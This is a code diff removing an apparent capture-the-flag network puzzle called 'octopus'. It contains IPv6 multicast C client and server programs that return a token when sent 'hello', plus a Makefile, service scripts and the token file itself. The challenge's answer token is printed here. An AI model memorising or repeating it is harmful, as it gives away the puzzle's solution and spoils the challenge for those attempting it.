exit(10);
}
multicastIP = argv[1]; /* First arg: Multicast IP address */
multicastPort = argv[2]; /* Second arg: Multicast port */
/* Resolve the multicast group address */
hints.ai_family = PF_INET6;
hints.ai_flags = AI_NUMERICHOST;
if ( getaddrinfo(multicastIP, NULL, &hints, &multicastAddr) != 0 ) DieWithError("getaddrinfo() failed");
/* Get a local address with the same family as our multicast group */
hints.ai_family = multicastAddr->ai_family;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_PASSIVE; /* Return an address we can bind to */
if ( getaddrinfo(NULL, multicastPort, &hints, &localAddr) != 0 )
{
DieWithError("getaddrinfo() failed");
}
/* Create socket for receiving datagrams */
if ( (sock = socket(localAddr->ai_family, localAddr->ai_socktype, 0)) == -1 )
{
DieWithError("socket() failed");
}
const int trueValue = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const void *) &trueValue, sizeof(trueValue));
#ifdef __APPLE__
setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (const void *) &trueValue, sizeof(trueValue));
#endif
/* Bind to the multicast port */
if ( bind(sock, localAddr->ai_addr, localAddr->ai_addrlen) != 0 )
{
DieWithError("bind() failed");
}
/* Join the multicast group. */
if ((multicastAddr->ai_family == PF_INET6)&&(multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6)))
{
struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr);
struct ipv6_mreq multicastRequest; /* Multicast address join structure */
/* Specify the multicast group */
memcpy(&multicastRequest.ipv6mr_multiaddr, &((struct sockaddr_in6*)(multicastAddr->ai_addr))->sin6_addr, sizeof(multicastRequest.ipv6mr_multiaddr));
printf("scope_id: %d\n", addr->sin6_scope_id);
/* Accept multicast from any interface */
multicastRequest.ipv6mr_interface = addr->sin6_scope_id;
/* Join the multicast address */
if ( setsockopt(sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, (char*) &multicastRequest, sizeof(multicastRequest)) != 0 ) DieWithError("setsockopt(IPV6_JOIN_GROUP) failed");
}
else DieWithError("Not IPv6");
freeaddrinfo(localAddr);
freeaddrinfo(multicastAddr);
for (;;) /* Run forever */
{
char recvString[500]; /* Buffer for received string */
int recvStringLen; /* Length of received string */
struct sockaddr_in6 from;
socklen_t fromlen = sizeof(from);
char sendString[] = "Token: banana\n";
char errorString[] = "That is not correct! Try again!\n";
/* Receive a single datagram from the server */
if ((recvStringLen = recvfrom(sock, recvString, sizeof(recvString) - 1, 0, (struct sockaddr *)&from, &fromlen)) < 0) DieWithError("recvfrom() failed");
recvString[recvStringLen] = '\0';
if(strcmp(recvString, "hello")==0) {
printf("Correct!!\n");
// printf("Token: banana\n");
sendto(sock, sendString, sizeof(sendString) - 1, 0, (struct sockaddr *)&from, fromlen);
} else {
// printf("That isn't correct! Try again!\n");
sendto(sock, errorString, sizeof(errorString) - 1, 0, (struct sockaddr *)&from, fromlen);
}
/* Print the received string */
printf("Received string [%s]\n", recvString);
}
/* NOT REACHED */
close(sock);
exit(EXIT_SUCCESS);
}

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@ -1,71 +0,0 @@
/* multicast_server.c
* Adapted from tmouse's IPv6 client/server example code
* found at http://cboard.cprogramming.com/showthread.php?t=67469
*/
#include <stdio.h> /* for fprintf() */
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h> /* for atoi() and exit() */
#include <unistd.h>
#include <string.h>
static void DieWithError(const char* errorMessage)
{
fprintf(stderr, "%s\n", errorMessage);
exit(10);
}
int main(int argc, char *argv[])
{
int sock; /* Socket */
char* multicastIP; /* Arg: IP Multicast address */
char* multicastPort; /* Arg: Server port */
char* sendString; /* Arg: String to multicast */
size_t sendStringLen; /* Length of string to multicast */
struct addrinfo * multicastAddr; /* Multicast address */
struct addrinfo hints = { 0 }; /* Hints for name lookup */
if ( argc != 4 )
{
fprintf(stderr, "Usage: %s <Multicast Address> <Port> <Send String>\n", argv[0]);
exit(10);
}
multicastIP = argv[1]; /* First arg: multicast IP address */
multicastPort = argv[2]; /* Second arg: multicast port */
sendString = argv[3]; /* Third arg: String to multicast */
sendStringLen = strlen(sendString); /* Find length of sendString */
/* Resolve destination address for multicast datagrams */
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (getaddrinfo(multicastIP, multicastPort, &hints, &multicastAddr) != 0) DieWithError("getaddrinfo() failed");
/* Create socket for sending multicast datagrams */
if ((sock = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) DieWithError("socket() failed");
int hops = 5;
if (setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) DieWithError("setsockopt(MULTICAST_HOPS) failed");
for (;;) /* Run forever */
{
int sendLen = sendto(sock, sendString, sendStringLen, 0, multicastAddr->ai_addr, multicastAddr->ai_addrlen);
if (sendLen == sendStringLen )
{
printf("Sent [%s] (%i bytes) to %s, port %s\n", sendString, sendLen, multicastIP, multicastPort);
}
else
{
DieWithError("sendto() sent a different number of bytes than expected");
}
sleep(1); /* Multicast sendString in datagram to clients every second */
}
/* NOT REACHED */
freeaddrinfo(multicastAddr);
close(sock);
return 0;
}

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@ -1,164 +0,0 @@
/* multicast_server.c
* Adapted from tmouse's IPv6 client/server example code
* found at http://cboard.cprogramming.com/showthread.php?t=67469
*/
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
static void
DieWithError(const char* errorMessage)
{
fprintf(stderr, "%s\n", errorMessage);
exit(1);
}
int
main(int argc, char *argv[])
{
int sender, listener; /* Sockets */
char* multicastIP; /* Arg: IP Multicast address */
char* multicastPort; /* Arg: Server port */
char token[100];
struct addrinfo * multicastAddr; /* Multicast address */
struct addrinfo hints = { 0 }; /* Hints for name lookup */
struct timeval timeout = { 0 };
if (argc != 3)
{
fprintf(stderr, "Usage: %s ADDRESS PORT <TOKENFILE\n", argv[0]);
exit(1);
}
multicastIP = argv[1]; /* First arg: multicast IP address */
multicastPort = argv[2]; /* Second arg: multicast port */
if (NULL == fgets(token, sizeof(token), stdin)) {
DieWithError("Unable to read token");
}
/* Resolve destination address for multicast datagrams */
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (getaddrinfo(multicastIP, multicastPort, &hints, &multicastAddr) != 0) {
DieWithError("getaddrinfo() failed");
}
if (! ((multicastAddr->ai_family == PF_INET6) &&
(multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6)))) {
DieWithError("Not IPv6");
}
/* Create socket for sending multicast datagrams */
if ((sender = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) {
DieWithError("socket() failed");
}
/* Create socket for recieving multicast datagrams */
if ((listener = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) {
DieWithError("socket() failed");
}
/* We need to go through a router, set hops to 5 */
{
int hops = 5;
if (setsockopt(sender, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) {
DieWithError("setsockopt(MULTICAST_HOPS) failed");
}
}
/* Bind to the multicast port */
if (bind(listener, multicastAddr->ai_addr, multicastAddr->ai_addrlen) != 0) {
DieWithError("bind() failed");
}
/* Join the multicast group. */
{
struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr);
struct ipv6_mreq multicastRequest;
multicastRequest.ipv6mr_interface = addr->sin6_scope_id;
memcpy(&multicastRequest.ipv6mr_multiaddr, &(addr->sin6_addr),
sizeof(multicastRequest.ipv6mr_multiaddr));
if (setsockopt(listener, IPPROTO_IPV6, IPV6_JOIN_GROUP,
(char*)&multicastRequest, sizeof(multicastRequest)) != 0) {
DieWithError("setsockopt(IPV6_JOIN_GROUP) failed");
}
}
for (;;) { /* Run forever */
int n;
int max_fd;
fd_set input;
char recvString[500]; /* Buffer for received string */
int recvStringLen; /* Length of received string */
char sendString[] = "If anyone is out there, please say hello\n";
size_t sendStringLen = sizeof(sendString)-1;
char errorString[] = "Say what?\n";
struct sockaddr_in6 from;
socklen_t fromlen = sizeof(from);
FD_ZERO(&input);
FD_SET(listener, &input);
max_fd = listener + 1;
if (timeout.tv_usec < 100) {
ssize_t sendLen;
timeout.tv_sec = 1;
timeout.tv_usec = 0;
sendLen = sendto(sender, sendString, sendStringLen, 0, multicastAddr->ai_addr,
multicastAddr->ai_addrlen);
if (sendLen != sendStringLen) {
DieWithError("sendto() sent a different number of bytes than expected");
}
}
n = select(max_fd, &input, NULL, NULL, &timeout);
/* See if there was an error */
if (n < 0) {
perror("select failed");
} else if (FD_ISSET(listener, &input)) {
recvStringLen = recvfrom(listener, recvString, sizeof(recvString) - 1, 0,
(struct sockaddr *)&from, &fromlen);
/* Receive a single datagram from the server */
if (recvStringLen < 0) {
DieWithError("recvfrom() failed");
}
recvString[recvStringLen] = '\0';
if (strcmp(recvString, "hello")==0) {
sendto(listener, token, sizeof(sendString), 0, (struct sockaddr *)&from,
fromlen);
} else if (strcmp(recvString, sendString)!=0) {
sendto(listener, errorString, sizeof(errorString), 0,
(struct sockaddr *)&from, fromlen);
}
}
}
/* NOT REACHED */
freeaddrinfo(multicastAddr);
close(sender);
close(listener);
return 0;
}

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@ -1 +0,0 @@
net:xucaz-porub-rakox

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@ -1,18 +0,0 @@
OCTOPUS_PKGDIR = $(TARGET)/octopus
octopus-install: octopus-build
mkdir -p $(OCTOPUS_PKGDIR)/bin/
$(call COPYTREE, packages/octopus/service, $(OCTOPUS_PKGDIR)/service)
cp packages/octopus/tokens.txt $(OCTOPUS_PKGDIR)/
cp packages/octopus/src/octopus $(OCTOPUS_PKGDIR)/bin/
octopus-clean:
rm -rf $(OCTOPUS_PKGDIR)
$(MAKE) -C packages/octopus/src clean
octopus-build:
$(MAKE) -C packages/octopus/src build
PACKAGES += octopus

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,3 +0,0 @@
#! /bin/sh
echo 'Try UDP.'

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@ -1,8 +0,0 @@
#! /bin/sh -e
exec 2>&1
IP=$(dbip -p ../octopus/ip.txt)
sv s octopus >/dev/null || exit 1
exec tcpsvd ${IP%/*} 8888 ./octopus-redirect

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